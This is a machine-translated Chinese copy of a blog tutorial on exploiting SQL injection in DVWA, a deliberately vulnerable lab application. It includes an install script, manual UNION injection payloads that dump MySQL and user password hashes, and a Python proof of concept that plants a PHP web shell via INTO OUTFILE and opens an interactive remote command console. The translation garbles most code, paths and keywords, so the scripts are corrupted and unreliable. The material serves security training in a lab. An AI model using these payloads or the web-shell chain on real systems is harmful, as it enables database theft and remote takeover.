该死的弱势Web应用程序 – SQL注入
作者:
安萨里阿什法克

评论者:
等级:
5
十月 1, 2012
上次修改:一月 18, 2013

总结:

步骤步骤和自动化的方法做该死易受攻击的Web应用程序的SQL注入攻击.

介绍

该死的弱势Web应用程序 (DVWA) 是一个 PHP / MySQL的 该死脆弱的Web应用程序,并可以利用easily.Its主要目标,是成为一个安全专家的援助,以测试他们的技能和工具的法律环境, 帮助Web开发人员更好地了解的过程确保Web应用程序和援助教师/学生教/学Web应用程序的安全性,在实验室环境中.

警告!

该死的弱势Web应用程序 该死的脆弱! 不要把它上传到你的托管服务提供商 的public_html 文件夹或任何Web服务器,因为它会被砍死. 我建议下载和安装 XAMPP 一个本地机器上你的局域网内,仅用于测试.
我们不承担责任的方式,任何一个使用 该死的弱势Web应用程序 (DVWA). 我们已经取得的应用明确的目的,它应该不会被恶意使用. 我们已发出警告,并采取措施,以防止用户安装DVWA住Web服务器. 如果您的Web服务器被攻破通过安装 DVWA 这不是我们的责任,它是谁上传并安装它的人的责任.

安装

一般来说,我们需要 XAMPP 服务器设置该死脆弱的Web应用程序,但 XAMPP 服务器也不过是一家集 阿帕奇, SQL, Perl的, PHP, OpenSSL的 和其他服务器端软件的,但 原路返回 5 所有这些软件的安装. 这意味着没有必要走回头路机上安装XAMPP. 所有你需要做的是让该死的易受攻击的Web应用程序,并把它放在根目录下 原路返回 5.

一个美妙的bash脚本是可用的所有过程自动化. 由于: 特拉维斯·菲利普斯.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#/bin/bash
呼应 “"
呼应 “############################################"
呼应 “#该死脆弱的Web应用程序安装脚本#"
呼应 “############################################"
呼应 “编码: 特拉维斯·菲利普斯"
呼应 “网站: HTTP://theunl33t.blogspot.com"
呼应 “修改者: 安萨里阿什法克"
呼应 “网站: HTTP://hacksys.vfreaks.com"

呼应 “[*] 更改目录到/ var / www下面..."
光盘 //万维网 &>; /开发/
呼应 -和 “完成!"

呼应 “[*] 创建目录DVWA ..."
MKDIR dvwa &>; /开发/
呼应 -和 “完成!"

呼应 “[*] 更改临时目录..."
光盘 /TMP
呼应 -和 “完成!"

呼应 “[*] 下载DVWA ..."
wget的 HTTP://voxel.dl.sourceforge.net/项目/dvwa/DVWA-1.0.7.zip
呼应 -和 “完成!"

呼应 “[*] DVWA解压..."
拉开拉链 DVWA-1.0.7.zip &>; /开发/
呼应 -和 “完成!"

呼应 “[*] 删除的zip文件..."
RM DVWA-1.0.7.zip &>; /开发/
呼应 -和 “完成!"

呼应 “[*] 复制dvwa网页目录的根..."
CP dvwa/* //万维网/dvwa &>; /开发/
呼应 -和 “完成!"

呼应 “[*] 清除Temp目录..."
RM dvwa &>; /开发/
呼应 -和 “完成!"

呼应 “[*] 启用远程包括在php.ini中..."
CP /等等/PHP5的/apache2的/php.ini中 /等等/PHP5的/apache2的/php.ini1
口渴 -和 'S / allow_url_include的=关/ allow_url_include的= / /等等/PHP5的/apache2的/php.ini1 &>; /等等/PHP5的/apache2的/php.ini中
RM /等等/PHP5的/apache2的/php.ini1
呼应 -和 “完成!"

呼应 “[*] 启用写入到/ var / WWW / dvwa的/容易被破解/上传权限..."
CHMOD 777 //万维网/dvwa/容易被破解/上传/
呼应 -和 “完成!"

呼应 “[*] 启动Web服务..."
服务apache2的启动 &放大器;&>; /开发/
呼应 -和 “完成!"

呼应 “[*] 启动MySQL ..."
服务mysql启动 &放大器;&>; /开发/
呼应 -和 “完成!"

呼应 “[*] 更新配置文件..."
CP //万维网/dvwa/配置/的config.inc.php //万维网/dvwa/配置/config.inc.php1
口渴 -和 '/'\“\“'/'\“'TOOR'\“'/' //万维网/dvwa/配置/config.inc.php1 &>; //万维网/dvwa/配置/的config.inc.php
RM //万维网/dvwa/配置/config.inc.php1
呼应 -和 “完成!"

呼应 “[*] 更新数据库..."
wget的 --数据后 “CREATE_DB =创建 / 复位数据库" HTTP://127.0.0.1/dvwa/setup.php &放大器;&>; /开发/
mysql的 -你--密码='TOOR' -和 “更新dvwa.users的头像设置=”/容易被破解/用户/ gordonb.jpg" 其中,user =“gordonb”;“
mysql的 -你--密码='TOOR' -和 “更新dvwa.users的头像设置=”/容易被破解/用户/ smithy.jpg" 其中,user =“铁匠铺”;“
mysql的 -你--密码='TOOR' -和 “更新dvwa.users的头像设置=”/容易被破解/用户/ admin.jpg" 其中,user =“admin”的;“
mysql的 -你--密码='TOOR' -和 “更新dvwa.users的头像设置=”/容易被破解/用户/ pablo.jpg" 其中,user =“帕布罗”;“
mysql的 -你--密码='TOOR' -和 “更新dvwa.users的头像设置=”/ hackable/users/1337.jpg" 其中,user =“1337”;“
呼应 -和 “完成!"

呼应 -和 “[*] 启动Firefox DVWA的用户名: 管理员密码: 密码"
火狐的http://127.0.0.1/dvwa/login.php中 &放大器;&>; /开发/&放大器;
呼应 -和 "完成!"
呼应 -和 “[\033[1;32米* 033[1;37米] DVWA安装完成!"

DVWA安装成功, 让SQL注入的举动. 有三个该死的弱势Web应用程序的SQL注入水平 (低, “中”和​​“高”). 在这篇文章中,我们将解释如何战胜低级别.

漏洞的代码

1
2
3
4
5
6
$ID=$_GET['ID'];

$GETID=“SELECT名字, 姓氏用户WHERE user_ID的='$ID“";
$导致=请求mysql_query($GETID)(
<预>“
. mysql_error() . “</预>
);

上面的代码很容易受到 SQL注入. 正如你可以看到的是有没有消毒, 简单地直插入到SQL查询变量.

让我们确认是否是容易受到SQL注入:

用户名: ‘

返回的页面下面的错误消息:

你有一个错误的SQL语法; 检查手册,相当于你的MySQL服务器版本的权利语法使用近 ””’ 行 1

这证明了它是容易受到SQL注入, 首先要做的是找出有多少列:

用户名: ‘ ORDER BY 1#
用户名: ‘ ORDER BY 2#

这些简单地返回相同的页面.

用户名: ‘ ORDER BY 3#

然后,这给了我们一个宝贵的错误讯息:

未知列'3’ 在“订单条款’

故, 有两列, 这显然​​是first_name和姓氏列,当你通过用户名: 形成一个有效的用户ID (1) 例如,你得到这个:

ID: 1
名字: 管理员
姓: 管理员

右, 现在是时候找出数据库名称, 表名, 列名和其他任何有用和有趣. 第一件事首先让我们找出数据库版本:

ID: ‘ UNION ALL SELECT 1,@ @ VERSION#
名字: 1
姓: 5.1.41-3ubuntu12.10

因此,它使用的是 MySQL的 5.1.41-3Ubuntu的. 让我们找到用户数据库中运行的数据库的名称,我们正在处理:

ID: ‘ UNION ALL SELECT用户(),数据库()#
名字: 根@本地
姓: dvwa

数据库用户 我们关心的是和数据库 dvwa. 由于用户是根让转储MySQL的哈希:

ID: ‘ UNION ALL SELECT用户,密码mysql.user#,
名字: 根
姓: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT用户,密码mysql.user#,
名字: 根
姓: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT用户,密码mysql.user#,
名字: 根
姓: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT用户,密码mysql.user#,
名字: Debian的SYS-MAINT
姓: *8C4C424D182238AFBA8B217F692D07C952EF4087

ID: ‘ UNION ALL SELECT用户,密码mysql.user#,
名字: 根
姓: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT用户,密码mysql.user#,
名字: 管理员
姓: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

哇! 我们得到了根passord的哈希. 我们可以使用 开膛手约翰 破解哈希.

我们知道数据库名是 dvwa. 让我们来看看表名:

ID: ‘ UNION ALL SELECT TABLE_SCHEMA,FROM table_name的WHERE TABLE_SCHEMA LIKE'%dvwa%的INFORMATION_SCHEMA.TABLES’ #
名字: dvwa
姓: 给我留言

ID: ‘ UNION ALL SELECT TABLE_SCHEMA,FROM table_name的WHERE TABLE_SCHEMA LIKE'%dvwa%的INFORMATION_SCHEMA.TABLES’ #
名字: dvwa
姓: 用户

中有两个表 dvwa 数据库命名为 给我留言用户

现在, 让我们找到列 用户 表.

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA的像'%dvwa%的’ #
名字: dvwa
姓: COMMENT_ID

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA的像'%dvwa%的’ #
名字: dvwa
姓: 评论

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA的像'%dvwa%的’ #
名字: dvwa
姓: 名

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA的像'%dvwa%的’ #
名字: dvwa
姓: USER_ID

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA的像'%dvwa%的’ #
名字: dvwa
姓: FIRST_NAME

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA的像'%dvwa%的’ #
名字: dvwa
姓: 姓氏

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA的像'%dvwa%的’ #
名字: dvwa
姓: 用户

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA的像'%dvwa%的’ #
名字: dvwa
姓: 密码

ID: ‘ UNION ALL SELECT TABLE_SCHEMA, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA的像'%dvwa%的’ #
名字: dvwa
姓: 头像

真棒, 让我们倾倒的用户名和密码 dvwa.users 表. 我们开始吧.

ID: ‘ UNION ALL SELECT用户, 密码dvwa.users的 #
名字: 管理员
姓: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ‘ UNION ALL SELECT用户, 密码dvwa.users的 #
名字: gordonb
姓: e99a18c428cb38d5f260853678922e03

ID: ‘ UNION ALL SELECT用户, 密码dvwa.users的 #
名字: 1337
姓: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ‘ UNION ALL SELECT用户, 密码dvwa.users的 #
名字: 巴勃罗
姓: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ‘ UNION ALL SELECT用户, 密码dvwa.users的 #
名字: 锻冶匠的工作
姓: 5f4dcc3b5aa765d61d8327deb882cf99

完成任务. 我们已经成功地倾倒的用户凭据. 我们可能破解使用任何MD5哈希饼干.

HackSys队 创造了在Python中的PoC艾滋病 自动化的SQL注入在DVWA和给出了一个shell提示,在这里我们可以定期运行shell命令.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
#!/usr / bin中/蟒蛇
#________________________________________________
#    该死的易受攻击的Web应用程序 - DVWA
#     SQL注入攻击到RCE - 的PoC
#   安萨里阿什法克 (hacksysteam@hotmail.com)                                            
#                                                                                          
#            (__)                                                                          
#            (有限公司)   HTTP://hacksys.vfreaks.com /
#     /-------\/                                                                          
#    / |     ||                                                                            
#   *  ||----||                                                                            
#      ~~用电源队HackSys - 豹
#________________________________________________
#
进口 系统, 插座, 的urllib, 重新, 的urllib2, getpass的, , 时间, 随机, base64编码
optparse 进口 OptionParser
cookielib 进口 CookieJar

descLogo = “,”"
________________________________________________

     该死的易受攻击的Web应用程序 - DVWA
           SQL注入到RCE - 的PoC
   安萨里阿什法克 (hacksysteam@hotmail.com)

            (__)
            (有限公司)  HTTP://hacksys.vfreaks.com /
     /-------\/
    / |     ||
   *  ||----||
      ~~用电源队HackSys - 豹
________________________________________________

“,”"


#使用打印命令的颜色变量
RED= "\033[31米" # 红色
绿色= "\033[32米" # 绿色
白色= "\033[0米" # 白
青色 = "\033[36米" #青色
紫色 = "\033[35米" #紫色

#变量
urlStart = “漏洞/ SQLI / index.php文件?ID ="
urlEnd = “&提交=提交"
shellName = “fd7cb4cb0031ba249"
代理 = [“Mozilla/4.0 (兼容; MSIE 5.5; Windows NT中 5.0)",
    “IE浏览器 7 (Windows Vista); Mozilla/4.0 ",
    “谷歌Chrome 0.2.149.29 (Windows XP中)",
    “歌剧 9.25 (Windows Vista)",
    “Mozilla/4.0 (兼容; MSIE 7.0B; Windows NT中 5.1)",
    “Opera/8.00 (Windows NT中 5.1; 你; 在)"]
代理人 = 随机.精选(代理)


#用法帮助摘要
用法 = 青色 + “/%PROG [<选项>] -吨 [目标] -ð [目录]"
用法 += "例子: ./%PROG-p localhost端口:8080 -吨 192.168.1.15:8080 -D / dvwa /"

#解析器选项
分析器 = OptionParser(用法=用法)
分析器.add_option(加上“-p", 类型=“弦",行动=“专卖店", dest中=“代理",
                  帮助=“HTTP代理 <服务器:端口>")
分析器.add_option(“-T", 类型=“弦", 行动=“专卖店", dest中=“目标",
                  帮助=“在目标服务器 <服务器:端口>")
分析器.add_option(“-D", 类型=“弦", 行动=“专卖店", dest中=“DirPath",
                  帮助=“该死的弱势Web App的目录路径")
(选项, 参数) = 分析器.函式parse_args()


#键入文本 - 只是为了好玩
DEF typingText(短信, 颜色):
 
  尝试:
    短信:
      打印 颜色 + "\b%Ş"%我,
      系统.标准输出.红晕()
      时间.睡觉(0.020)
  除了:
    通过
 

如果 (系统.argv的) < 5:
    typingText(descLogo, 紫色)
    分析器.print_help()
    系统.出口(1)
   

#代理处理程序
DEF getProxy():
 
    尝试:
        proxy_handler = 的urllib2.代理处理程序({'HTTP': 选项.代理})
    除了(插座.超时):
            打印 RED + "\吨代理超时..."
            系统.出口(1)
    返回 proxy_handler


#测试代理服务器连接
DEF testProxy():
 
    打印(青色 + “[+] 测试代理@%..." % (选项.代理))
    揭幕战 = 的urllib2.比如build_opener(getProxy())
   
    尝试:
      查 = 揭幕战.打开(“HTTP://www.google.com").阅读()
    除了:
      查 = 0
      通过
   
    如果>= 1:
      打印(绿色 + "\吨代理找到工作...")
    其他:
      打印 RED + "\吨代理失败了。. 退出!"
      系统.出口(1)


#从服务器获得响应
DEF getServerResponse(CJ, targetURL, 数据):
     
    如果 选项.代理:
      尝试:
    揭幕战 = 的urllib2.比如build_opener(getProxy(), 的urllib2.HTTPCookieProcessor(CJ))
    揭幕战.addheaders = [(用户代理“, 代理人)]
    查 = 揭幕战.打开(targetURL, 数据).阅读()
    返回
      除了:
    打印 (RED + "\吨代理服务器连接到远程目标失败...")
    系统.出口(1)
    其他:
      尝试:
    揭幕战 = 的urllib2.比如build_opener(的urllib2.HTTPCookieProcessor(CJ))
    揭幕战.addheaders = [(用户代理“, 代理人)]
    查 = 揭幕战.打开(targetURL, 数据).阅读()
    返回
      除了:
    打印 (RED + "\吨目标连接失败, 请检查您的地址...")
    系统.出口(1)


#尝试登录到该死脆弱的Web应用程序
DEF doLogin():
 
    打印(青色 + “[+] 试图登录到DVWA ...")
    targetURL = “HTTP://" + 选项.目标 + 选项.dirPath + “login.php中"
    值 = {'用户名' : “管理员”, “密码” : “密码”, '登录' : '登录'}
    数据 = 的urllib.用urlencode()
    CJ = CookieJar()
   
    #从服务器获得响应,并将其存储在一个变量
    respHTML = getServerResponse(CJ, targetURL, 数据)
       
    如果 重新.搜索(“登录失败", respHTML):
      时间.睡觉(1)
      typingText("\吨认证成功...", 绿色)
      返回 CJ
    其他:
      时间.睡觉(1)
      typingText("\吨验证否认! 退出...", RED)
      系统.出口(1)


#尝试tamperthe该死的易受攻击的Web应用程序的安全级别
DEF lowSecurity(adminCookie):
 
    打印(青色 + “[+] 篡改的安全DVWA ...")
    targetURL = “HTTP://" + 选项.目标 + 选项.dirPath + “security.php"
    值 = {“安全” : “低”, “seclev_submit。” : '提交'}
    数据 = 的urllib.用urlencode()
    CJ = adminCookie #使用的cookie从doLogin返回() 功能
   
    #从服务器获得响应,并将其存储在一个变量
    respHTML = getServerResponse(CJ, targetURL, 数据)
   
    如果 重新.搜索(“安全级别是目前 <在>低</在>", respHTML):
      时间.睡觉(1)
      typingText("\吨安全级别成功设置为低...", 绿色)
    其他:
      时间.睡觉(1)
      typingText("\吨无法篡改保安水平! 退出...", RED)
      系统.出口(1)


#检查目标是容易受到SQL注入
DEF testSQLinjection(adminCookie):
 
    打印(青色 + “[+] 检查如果目标是脆弱...")
    injection_url = “1”"
    targetURL = “HTTP://" + 选项.目标 + 选项.dirPath + urlStart + injection_url + urlEnd
    数据 = “"
   
    CJ = adminCookie #使用的cookie从doLogin返回() 功能

    #从服务器获得响应,并将其存储在一个变量
    respHTML = getServerResponse(CJ, targetURL, 数据)
   
    如果 重新.搜索(“错误的SQL语法", respHTML):
      时间.睡觉(1)
      typingText("\吨欢呼一下 -- 目标发现是脆弱...", 绿色)
    其他:
      时间.睡觉(1)
      typingText("\吨o00w -- 目标是不容易的! 退出...", RED)    
      系统.出口(1)


#MySQL的细节
DEF findMySQLInfo(adminCookie):
 
    打印(青色 + “[+] retriving的MySQL信息...")
    injection_url = “1” UNION ALL 选择 CONCAT_WS(0X3B,0x4861636b537973205465616d,用户(),数据库(),版本(),0x4861636b537973205465616d)%2C2;"
    targetURL = “HTTP://" + 选项.目标 + 选项.dirPath + urlStart + injection_url + urlEnd
    数据 = “"
   
    CJ = adminCookie #使用的cookie从doLogin返回() 功能

    #从服务器获得响应,并将其存储在一个变量
    respHTML = getServerResponse(CJ, targetURL, 数据)
   
    # 现在提取有趣的信息
    get_secret_data = .发现(respHTML,  “HackSys团队")
     
    # 如果目标是不容易退出
    如果 get_secret_data == -1:
        typingText("\吨操作失败. 现在退出...", RED)
        系统.出口(1)
         
    get_secret_data += 10
    new_html4= respHTML[get_secret_data :]
    new_get_secret_data4 = .发现(new_html4,  “HackSys团队")
    new_html_5 = new_html4[:new_get_secret_data4]
             
    # 数据接收, 格式化和显示
    formatted_output = ST.分裂(new_html_5,  “;")
    时间.睡觉(1)
    打印 绿色 + "\吨MySQL数据库: ",  formatted_output[2]
    打印 绿色 + "\吨MySQL的版本 : ",  formatted_output[3]
    打印 绿色 + "\吨MySQL数据库用户 : ",  formatted_output[1]
    打印 “"
    返回


#尝试在用户表中的记录数
DEF findNoOfRecordsInTable(adminCookie):
       
    injection_url = “1” UNION ALL 选择1%2C COUNT(*)+ 用户%3B%23"
    targetURL = “HTTP://" + 选项.目标 + 选项.dirPath + urlStart + injection_url + urlEnd
    数据 = “"
   
    CJ = adminCookie #使用的cookie从doLogin返回() 功能

    #从服务器获得响应,并将其存储在一个变量
    respHTML = getServerResponse(CJ, targetURL, 数据)
   
    # 现在提取有趣的信息
    get_secret_data = .发现(respHTML,  “<BR>姓:")
    get_secret_data += 40    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = .发现(new_html,  “</预>\吨</格>")  
    new_html_2 = new_html[:new_get_secret_data]

    # 数据接收, 格式化和显示
    formatted_output = ST.分裂(new_html_2,  “: ")
    返回 formatted_output[2]
   

#尝试从用户表名和密码的用户名倾倒
DEF findUserPasswords(adminCookie, 指数):
 
    injection_url = “1” UNION ALL 选择1%2C CONCAT_WS(0x3b,0x4861636b537973205465616d,user_id,first_name,last_name,user,password,0x4861636b537973205465616d)+ 用户 LIMIT " + ST(指数) + “%2C30%3B%23"
    targetURL = “HTTP://" + 选项.目标 + 选项.dirPath + urlStart + injection_url + urlEnd
    数据 = “"
   
    CJ = adminCookie #使用的cookie从doLogin返回() 功能

    #从服务器获得响应,并将其存储在一个变量
    respHTML = getServerResponse(CJ, targetURL, 数据)
   
    # 现在提取有趣的信息
    get_secret_data = .发现(respHTML,  “HackSys团队")
    get_secret_data += 10    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = .发现(new_html,  “HackSys团队")    
    new_html_2 = new_html[:new_get_secret_data]

    # 数据接收, 格式化和显示
    formatted_output = ST.分裂(new_html_2,  “;")
    时间.睡觉(1)
    打印 绿色 + "\吨用户ID : ",  formatted_output[1]
    打印 绿色 + "\吨名字: ",  formatted_output[2]
    打印 绿色 + "\吨姓 : ",  formatted_output[3]
    打印 绿色 + "\吨用户名: ",  formatted_output[4]
    打印 绿色 + "\吨密码哈希 : ",  formatted_output[5]
    打印 “"


#尝试互动攻击一个tinyShell上传
DEF uploadShellViaSQLi(adminCookie):
 
    打印(青色 + “[+] 上传壳牌通过SQLI ...")
   
    #XAMPP On Windows XP
    #injection_url = "1' UNION SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:xampphtdocsdvwashell.php';#"

    #Linux的
    injection_url = “1%27 UNION ALL 选择 %27%27%2C %27%3C%3Fphp 系统(base64_decode(%24_GET[%22CMD%22%5D%29%29%3B %3F%3E%27 到 %OUTFILE 2Fvar 27%%2Fwww%2Fdvwa%2F" + shellName + “PHP%27%3B%23"
   
    targetURL = “HTTP://" + 选项.目标 + 选项.dirPath + urlStart + injection_url + urlEnd
    数据 = “"
   
    CJ = adminCookie #使用的cookie从doLogin返回() 功能

    #从服务器获得响应,并将其存储在一个变量
    respHTML = getServerResponse(CJ, targetURL, 数据)

    如果 重新.搜索(“<H3>用户ID:</H3>", respHTML):
      时间.睡觉(1)
      typingText("\吨欢呼一下 -- 壳牌上传顺利...", 绿色)
    ELIF 重新.搜索(“已经存在</预>", respHTML):
      时间.睡觉(1)
      typingText("\吨欢呼一下 -- 壳牌已经存在...", 绿色)  
    其他:
      时间.睡觉(1)
      typingText("\吨o00w -- 无法上传外壳...", RED)
      系统.出口(1)


#启动交互式会话攻击
DEF interactiveAttack(adminCookie):
 
  打印 青色 + “[+] 进入交互式远程控制台 (q表示退出)" + 白色 + "  HackSys队 - 豹   作者: 安萨里阿什法克  hacksysteam@hotmail.com HTTP://hacksys.vfreaks.com /"
  HN = 绿色 + “%S @%# " % (getpass的.获取用户(), 选项.目标) + 白色
  CMD = “"
  数据 = “"
  CJ = adminCookie
  CMD != 'q'的:
    尝试:
      CMD = raw_input函数(HN)
      cmd64 = base64编码.b64encode(CMD)      
      targetURL = (“HTTP://%%s%s的s.php?CMD =%s的" % (选项.目标, 选项.dirPath, shellName, cmd64))
      或 = getServerResponse(CJ, targetURL, cmd64)
      shellOutput = 或.分裂(“管理")
      打印 白色 + shellOutput[2]
    除了:
      打破
 
  # 自杀
  rmShell = base64编码.b64encode(的“rm%的s.php" % (shellName))
  targetURL = (“HTTP://%%s%s的s.php?CMD =%s的" % (选项.目标, 选项.dirPath, shellName, rmShell))
  或 = getServerResponse(CJ, targetURL, rmShell)

     
#主要功能
DEF():
 
  #在打字文本样式打印的旗帜
  typingText(descLogo, 紫色)
 
  #检查并连接指定代理服务器,如果使用-p参数
  如果 选项.代理:
    testProxy()

  #抓住管理的cookie
  adminCookie = doLogin()
 
  #防篡改的安全级别
  lowSecurity(adminCookie)
 
  #测试SQL注入漏洞
  testSQLinjection(adminCookie)
 
  #转储MySQL的详细信息
  findMySQLInfo(adminCookie)
 
  #查找用户表中的记录数
  共条记录 = 诠释(findNoOfRecordsInTable(adminCookie))
 
  打印(青色 + “[+] retriving的用户名和密码...")
 
  指数 范围(1,当前第 1):
    #转储使用密码
    findUserPasswords(adminCookie, 指数)
 
  #上传tinyShell
  uploadShellViaSQLi(adminCookie)
 
  #启动互动式攻击
  interactiveAttack(adminCookie)
 
如果 __name__ == “__main__":
    主()

下载该死的弱势Web应用程序 – SQL注入的PoC

 

DVWA_SQLi.zip

 
感谢您抽出时间来阅读这篇文章. 如果您遇到任何问题, 请随时写信给我们: hacksysteam@hotmail.com

 
 

178,058 总的看法, 39 今日观点

下面的两个选项卡下面的内容转变.

安萨里阿什法克

安全研究员
阿什法克安萨里是HackSys队代号为创始人 "豹". 他是一位安全研究人员在信息安全的各个方面的经验. 他曾撰写 "HackSys极端脆弱的驱动程序" 和 "死亡的shellcode". 他还撰写并出版了低层次软件开发的各种白皮书. 他的核心利益在于 "低水平开发", "逆向工程", "项目分析" 和 "混合起毛". 他是人工智能和机器学习的变形金刚迷. 他是章负责人 空普纳.

阿什法克安萨里的最新文章 (查看全部)

没有回应 “该死的弱势Web应用程序 – SQL注入”

搬场/包括引用

  1. 该死的易受攻击的Web应用程序 - 本地文件包含 (LFI) | HackSys队 - 计算机安全研究, 渗透测试, 道德黑客, Windows技术支持 - [...] 你有没有看过的第一部分, 这里是链接: HTTP://hacksys.vfreaks.com /笔测试/该死脆弱的网络应用程序-SQL injection.html [...]

发表评论

您的电子邮件地址不会被公开. 必需字段标记 *